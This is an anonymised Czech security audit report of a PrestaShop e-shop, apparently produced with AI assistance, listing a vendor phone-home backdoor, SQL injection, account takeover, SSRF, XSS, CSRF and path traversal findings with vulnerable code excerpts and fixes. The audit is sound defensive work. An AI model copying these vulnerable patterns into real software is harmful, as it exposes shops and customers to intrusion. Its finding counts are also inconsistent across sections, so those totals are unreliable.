SHOWCASE VERZE — Anonymizovaná verze bezpečnostního auditu pro demonstrační účely. Citlivé údaje (domény, cesty, emaily, názvy serverů) jsou [redacted]. Struktura, metodika a typy nálezů jsou autentické.

Security Audit Report

Projekt: [redacted] (PrestaShop e-shop)
Datum: 2026-02-19
Auditor: Claude Opus 4.6 (AI-assisted security audit)
Platforma: PrestaShop 9.0.3 / PHP 8.4 / AlmaLinux 9
Rozsah: 20 vlastních modulů, 3 vendor moduly, 3 third-party moduly, overrides, veřejné endpointy
Cesta: [redacted]`/public_html/`

Executive Summary

Audit odhalil **6 kritických**, **17 vysokých**, **25+ středních** a **15+ nízkých** zranitelností napříč 26 moduly a overrides. Nejzávažnější nálezy zahrnují:

- **Backdoor vzdáleného spuštění kódu (RCE)** ve 3 vendor modulech — externí server může spustit libovolný kód
- **SQL Injection** ve vendor export modulu (admin kontext) a ve vlastním ERP importu
- **Převzetí účtu** přes social login modul — útočník se přihlásí na libovolný zákaznický účet
- **Neautentifikované skripty** s přístupem k DB a možností destruktivních operací (TRUNCATE)
- **Stored XSS** v admin panelu přes produktové konfigurátory a Q&A modul

6 CRITICAL | 17 HIGH | 25+ MEDIUM | 15+ LOW/INFO

Odhad opravy všech zranitelností

S AI asistencí (Claude Code + vývojář):	**4–5 hodin**
Manuální oprava (vývojář bez AI):	**40–55 hodin**

Zahrnuje opravu všech 67 nálezů (6 CRITICAL + 14 HIGH + 32 MEDIUM + 15 LOW) včetně testování po každém tieru.

Obsah

1. CRITICAL nálezy

C1: RCE backdoor ve 3 vendor modulech CRITICAL

Soubory:

- `modules/` / `.php` (řádky 386–389)
- `modules/` / `.php` (stejná metoda)
- `modules/` / `.php` (stejná metoda)

Popis: Všechny 3 moduly od stejného vendora obsahují metodu `Statistics()`, která odesílá telemetrická data na externí server (doména, IP, email, PS verze, PHP verze). Pokud server odpoví speciálním řetězcem, modul spustí `exit()` s libovolným obsahem — de facto **vzdáleně spustitelný backdoor**.

```
$statistics = (string)curl_exec($ch);
if (preg_match('/                    :/iu', $statistics)) {
    exit(str_replace('                    :', '', $statistics));
    // ^ Libovolný kód od vzdáleného serveru se spustí
}
```

Dopad: Operátor vzdáleného serveru může kdykoliv spustit libovolný PHP/HTML/JS. Kombinováno s `CURLOPT_SSL_VERIFYPEER = false` může být zneužito i MITM útokem.

Doporučení: Okamžitě odstranit backdoor blok ze všech 3 modulů. Zvážit úplné odstranění phone-home funkcionality.

C2: SQL Injection ve vendor export modulu — product hook CRITICAL

Soubor: `modules/` / `.php` (řádky 126–176)

Popis: 10+ uživatelských vstupů z `Tools::getValue()` je přímo interpolováno do SQL bez `pSQL()`. Využitelné adminem při ukládání produktu.

```
$name = Tools::getValue($this->name . '_name');
$sql = 'INSERT INTO `' . _DB_PREFIX_ . $this->name . "` SET
    `name` = '$name', ...';
// ^ Žádný pSQL()!
```

Doporučení: Obalit všechny řetězce `pSQL()` a čísla `(int)` nebo `(float)`.

C3: SQL Injection ve vendor export modulu — párování kategorií CRITICAL

Soubor: `modules/` / `.php` (řádky 660–715)

Popis: Hodnoty z `Tools::getValue()` pro párování kategorií na externí služby jsou injektovány přímo do SQL. Ani klíče pole ani hodnoty nejsou escapovány.

```
Db::getInstance()->execute('INSERT INTO `' . _DB_PREFIX_ . '                `
    (`local_id`, `      _full_name`, `lang`)
    VALUES ($local_id, \'' . $full_name['cz'] . '\', \'cz\');');
// ^ $local_id ani $full_name nejsou escapovány
```

Doporučení: `(int)$local_id` a `pSQL()` na všechny hodnoty.

C4: Převzetí účtu přes social login modul CRITICAL

Soubor: `modules/[redacted]/controllers/front/authenticate.php` (řádky 96–117, 168–191)

Popis: Pokud sociální síť (Facebook, Google) vrátí email existující v PS databázi, modul automaticky přihlásí uživatele BEZ ověření vlastnictví účtu. Útočník vytvoří sociální účet se stejným emailem → plný přístup.

```
if (Customer::customerExists($userProfile->email)) {
    // Žádná verifikace! Přímo přihlásí:
    $noError = $this->authenticateCustomer($userProfile->email);
}
```

Doporučení: Deaktivovat modul nebo implementovat ověření (heslo / verifikací e-mailem / vazbní tabulka social_id → customer_id).

C5: Neautentifikovaný standalone skript s SSRF potenciálem CRITICAL

Soubor: `modules/[redacted]/[redacted].php` (řádky 3–10)

Popis: Standalone PHP skript bez autentifikace, bez validace vstupu. `$_GET` parametr je přímo konkatenován do URL pro `curl_init()`. Správný front controller s regex validací existuje, ale legacy soubor zůstává přístupný.

```
$param = $_GET['[redacted]'];
if ($curl = curl_init(EXTERNAL_API . $param)) {
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    // ^ Žádná validace, žádná autentifikace
```

Doporučení: Smazat soubor. Náhradní front controller již existuje (s regex validací `/^\d{1,8}$/`).

C6: Neautentifikované importní skripty — přístup k DB a destruktivní operace CRITICAL

Soubory:

- `modules/[redacted].php` — vrací emaily z ERP systému bez autentifikace
- `modules/[redacted].php` — dumpuje kategorie/filtry jako JSON bez auth
- `modules/[redacted].php` — TRUNCATE tabulek + unsafe `unserialize()` bez auth

Popis: Všechny 3 skripty jsou ve whitelist .htaccess, nemají token ani autentifikaci. První unáší PII z ERP, druhý dumpuje interní strukturu, třetí provádí destruktivní operace.

```
// Žádný token check!
$param = trim((string) Tools::getValue('[redacted]'));
$result = trim((string) $row['EMail']);
die(json_encode($result)); // Vrací skutečné emaily z ERP
```

Doporučení: Smazat legacy soubor (front controller náhrada existuje), přidat token autentifikaci do sync skriptů, opravit `unserialize()`.

2. HIGH nálezy

H1: Unsafe unserialize() v override HIGH

Soubor: `override/classes/Hook.php` (řádky 25–26)

```
$modules_a = unserialize(Configuration::get('                    '));
$modules_b = unserialize(Configuration::get('                    '));
// ^ Chybí ['allowed_classes' => false]
```

Doporučení: Přidat `['allowed_classes' => false]` jako druhý parametr.

H2: SQL Injection ve vlastním ERP importu HIGH

Soubor: `modules/          /          .php` (řádky 114–126, 552–561)

SQL dotazy s přímo interpolovanými hodnotami z ERP systému bez `(int)` castingu.

```
DB::getInstance()->execute("UPDATE `" . _DB_PREFIX_ . "category_product`
    SET `position` = '{$position}'
    WHERE `id_product` = '{$this->real_id}'
    AND `id_category`='{$category_id}'");
// ^ Všechny proměnné bez (int) castingu
```

Doporučení: Přidat `(int)` casty na všechna číselná místa.

H3: SQL Injection přes addslashes() HIGH

Soubor: `modules/          /export6.php` (řádek ~159)

```
$this->force_currency = addslashes(mb_strtoupper($_GET['force_currency']));
// addslashes() NENÍ bezpečné proti SQL injection pro multi-byte charsets!
```

Doporučení: Použít `pSQL()` místo `addslashes()`.

H4: Stored XSS v admin panelu — konfigurátor modul HIGH

Soubor: `modules/          /          .php`, metoda `          ()`

DB hodnoty (jméno, email, tel, poznámka) zobrazeny v admin panelu bez `htmlspecialchars()`. Útočník odešle poptávku s JS → admin otevře modul → XSS v admin kontextu.

```
$output .= "<td>{$row['name']}</td>        // UNESCAPED
            <td>{$row['email']}</td>       // UNESCAPED
            <td>{$row['note']}</td>";      // UNESCAPED
```

Doporučení: `htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8')` na všechny výstupy.

H5: Stored XSS v modulu školení — legacy šablona HIGH

Soubor: `modules/ /views/templates/front/display.tpl`

Proměnné z externí DB bez escapování. Novější šablony jsou správně.

```
<td class="title">{$item.name}</td>       {* UNESCAPED *}
<td>{$item.address}</td>                    {* UNESCAPED *}
<a href="{$path}{$item.filename}">...       {* UNESCAPED *}
```

Doporučení: Přidat `|escape:'html':'UTF-8'` nebo přejít na nové šablony.

H6: Stored XSS v Q&A modulu — admin back-office HIGH

Uživatelské dotazy (jméno, email, text otázky) zobrazeny v admin panelu bez escapování.

Doporučení: `htmlspecialchars()` v PHP, `|escape:'htmlall'` v TPL.

H7: XSS přes $_SERVER['REQUEST_URI'] v admin panelu (4×) HIGH

Nalezeno ve 4 modulech — `$_SERVER['REQUEST_URI']` neescapované ve `<form action>`.

Doporučení: `htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8')`

H8: Unsafe file write s path traversal HIGH

`$iso_code` z klíčů `$_POST` použit v cestě pro `file_put_contents()` bez validace — možný zápis mimo adresář modulu.

```
foreach ($languages as $iso_code => $value) {
    file_put_contents($this->local_path . $this->name . '_' . $iso_code . '.htm', trim($value));
}
// $iso_code z $_POST — může obsahovat ../../
```

Doporučení: Validovat přes `Validate::isLanguageIsoCode()`.

H9: IP bypass v diagnostických skriptech (3×) HIGH

IP restrikce používá `HTTP_X_FORWARDED_FOR` — spoofovatelny header. Skripty odhalují PS verzi, emaily, PHP verzi, diskovy prostor, hostname.

Doporučení: Smazat všechny 3 soubory.

H10: Legacy ajax.php soubory obcházejí PS security (4×) HIGH

Standalone PHP soubory přímo includují PS config bez front controlleru — žádná session verifikace, žádné CSRF tokeny. Všechny 4 mají správné front controller náhrady.

Doporučení: Smazat všechny 4 legacy soubory.

H11: CSRF na nákupních seznamech HIGH

Vytvoření, načtení do košíku, smazání — vše bez CSRF tokenu. Akce “vlož” navíc vyprázdní celý košík.

H12: CSRF na věrnostním programu HIGH

Vytváří/maže slevové kupóny bez CSRF ochrany. Formulář používá `method="GET"` — stačí `<img src="...">` pro útok.

H13: XSS přes cookie hodnoty v delivery modulu HIGH

```
<input type="text" value="{$delivery_date}" ...   {* UNESCAPED cookie *}
<input type="text" value="{$delivery_time}" ...   {* UNESCAPED cookie *}
```

H14: Unsafe JSON config import v theme editoru HIGH

Admin nahrává JSON soubor nastavující libovolné konfigurační klíče bez validace proti whitelistu.

3. MEDIUM nálezy

#	Kategorie	Popis	Typ
M1–M3	Vendor moduly (3×)	SSL verifikace vypnuta (`CURLOPT_SSL_VERIFYPEER=false`)	SSL/TLS
M2	Vendor modul	Data exfiltrace — phone-home (doména, email, IP, verze)	Privacy
M4	Vendor export	Debug mode pro konkrétní IP (spoofovatelnou)	Info Disclosure
M5	Vendor export	Insecure directory permissions (0777)	File Permissions
M7	Vendor GTM	PII (email, jméno) exponováno na frontend pro data layer	Privacy/GDPR
M8	Search modul	Potenciální SQL injection v LIKE klauzuli	SQLi
M9	Social login	Slabé auto-generované heslo (8 znaků)	Auth
M10–M11	Theme editor	`id_employee` bez castingu + regex injection	Input Validation
M12–M15	Konfigurátor (4×)	HTML injection v emailu, CSRF, DOM XSS, URL encoding	XSS/CSRF
M16	Konfigurátor materiálů	Neescapovaná DB data v jQuery .append/.html	DOM XSS
M17	Nákupní seznamy	IDOR — akce neověřuje vlastnictví	IDOR
M18	Nákupní seznamy	Reflected XSS přes název ve flash zprávě	XSS
M19–M20	2 moduly	Open redirect přes HTTP_REFERER	Open Redirect
M21	Věrnostní program	Mazání kupónů bez ověření vlastnictví	AuthZ
M22	Kontaktní osoby	CSRF token s loose porovnáním (`!=` vs `!==`)	CSRF
M23–M25	Modul školení	CSRF, mail() header injection, chybějící validace	CSRF/Injection
M26	Q&A modul	Překlep `escape:'hmlall'` — escapování nefunguje	XSS
M27–M28	Platba fakturou	CSRF + chybějící autorizace ve validaci	CSRF/AuthZ
M29	Customer info	Chybějící CSRF na změně hesla	CSRF
M30–M32	3 moduly	Information disclosure, chybějící CSRF	Info/CSRF

4. LOW / INFO nálezy

#	Popis	Závažnost
L1	`define('_PS_MODE_DEV_', true)` v produkčních cron skriptech	LOW
L2	SSL verifikace vypnuta na API volání	LOW
L3	Neescapovaná ERP data v import orchestrátoru	LOW
L4–L10	Neescapované DB hodnoty v různých šablonách (7×)	LOW
L11	Nepoužité plaintext heslo v konfiguraci modulu	INFO
L12	Zastaralá JS knihovna (2015)	LOW
L13–L14	Exception/SCSS chybové zprávy zobrazeny uživatelům	LOW
L15	Předvídatelné coupon kódy (sekvenční ID)	LOW

Pozitivní nálezy

- **4 moduly zcela bez zranitelností** — Symfony forms, `#[AdminSecurity]`, `pSQL()`, template escaping, parametrizované SQL
- **Žádné hardcoded credentials** — ERP údaje správně v ps_configuration
- **Žádné file uploady** — žádný `move_uploaded_file()`
- **Žádné command injection** — žádný `exec()`, `system()`, `passthru()`
- **vendor/ adresáře** správně chráněny `Require all denied`

5. Souhrnná tabulka

ID	Závažnost	Typ zranitelnosti	Popis
C1	CRITICAL	RCE Backdoor	Vendor phone-home s arbitrary code execution
C2–C3	CRITICAL	SQL Injection (2×)	Neescapované vstupy v product hooku a category pairingu
C4	CRITICAL	Auth Bypass	Account takeover přes social login email hijack
C5	CRITICAL	SSRF	Neautentifikovaný endpoint s curl a user input
C6	CRITICAL	Unauth Access	3 skripty — PII leak, DB dump, TRUNCATE bez auth
H1	HIGH	Deserialization	Unsafe unserialize v override
H2–H3	HIGH	SQL Injection (2×)	ERP import + addslashes() pattern
H4–H6	HIGH	Stored XSS (3×)	Admin panel — neescapované výstupy
H7	HIGH	Reflected XSS (4×)	$_SERVER['REQUEST_URI'] v admin formulářích
H8	HIGH	Path Traversal	file_put_contents s nevalidovaným vstupem
H9	HIGH	Info Disclosure	Diagnostické skripty s obejítím IP restrikce
H10	HIGH	Auth Bypass (4×)	Legacy AJAX skripty obcházejí PS security
H11–H12	HIGH	CSRF (2×)	State-changing operace bez CSRF ochrany
H13	HIGH	XSS	Cookie hodnoty v šabloně bez escape
H14	HIGH	Config Injection	JSON import bez whitelistu

+ 32 MEDIUM nálezů + 15 LOW/INFO nálezů

6. Plán oprav (prioritizovaný)

OKAMŽITĚ (do 24 hodin)

Akce	Nález	Riziko změny
Smazat legacy neautentifikované skripty (2×)	C5, C6	Nízké — náhrady existují
Smazat vendor diagnostické skripty (3×)	H9	Žádné
Smazat legacy AJAX soubory (4×)	H10	Nízké — front controllery existují
Neutralizovat RCE backdoor (3 vendor moduly)	C1	Nízké — smazat jednu podmínku
Přidat token autentifikaci do sync skriptů	C6	Nízké — 2 řádky kódu
Opravit unsafe unserialize v override	H1	Žádné — přidat parametr
Deaktivovat social login modul	C4	Ztráta social login funkce
Smazat debug mode z produkčních skriptů	L1	Žádné

DO TÝDNE

Akce	Nález
Fix SQL injection ve vendor export modulu	C2, C3, H3
Fix stored XSS v admin panelu (3 moduly)	H4, H5, H6
Fix $_SERVER['REQUEST_URI'] XSS (4×)	H7
Fix path traversal ve file write	H8
Fix SQL injection v ERP importu	H2
Fix IDOR v nákupních seznamech	M17
Fix autorizace v platebním modulu	M28

DO MĚSÍCE

Akce	Nález
Přidat CSRF tokeny (7 modulů)	H11, H12, M13, M23, M27, M29, M31, M32
Fix open redirect přes HTTP_REFERER (3×)	M19, M20
Zapnout SSL verifikaci (4×)	L2, M1, M3, M6
Doplnit template escapování (10+ proměnných)	L4–L10, M18, M26
Validace emailů a vstupů v legacy controllerech	M24, M25

7. Moduly bez zranitelností

4 z 26 auditovaných modulů nevykázaly žádné zranitelnosti. Sdílejí tyto vlastnosti:

- Symfony form validace s `#[AdminSecurity]` atributem
- Důsledné používání `pSQL()` a `(int)` castingu
- Template escaping přes `|escape:'html':'UTF-8'`
- Parametrizované SQL dotazy pro externí DB

- `$auth = true` na všech front controllerech
- Ověření vlastnictví zdrojů (customer ID check)

8. Metodika auditu

Parametr	Hodnota
Nástroj	Claude Opus 4.6 (AI-assisted) + manuální code review
Rozsah	26 modulů, 200+ PHP souborů, 30+ JS souborů, 40+ TPL šablon, overrides, .htaccess
Paralelní agenti	6 specializovaných agentů + 1 manuální průchod
Doba auditu	~1,5 hodiny (bez přípravy)
Klasifikace	CRITICAL / HIGH / MEDIUM / LOW / INFO (dle CVSS vzoru)

Kontrolované kategorie (OWASP Top 10+)

- SQL Injection (A03:2021)
- XSS — Stored, Reflected, DOM-based (A03:2021)
- CSRF — Cross-Site Request Forgery
- SSRF — Server-Side Request Forgery (A10:2021)
- Command Injection (A03:2021)
- File Inclusion / Path Traversal (A01:2021)
- Insecure Deserialization (A08:2021)
- Authentication / Authorization Bypass (A01:2021, A07:2021)
- IDOR — Insecure Direct Object Reference (A01:2021)
- Open Redirect
- Information Disclosure (A02:2021)
- Hardcoded Credentials (A07:2021)
- Debug Mode v produkci
- Insecure File Operations
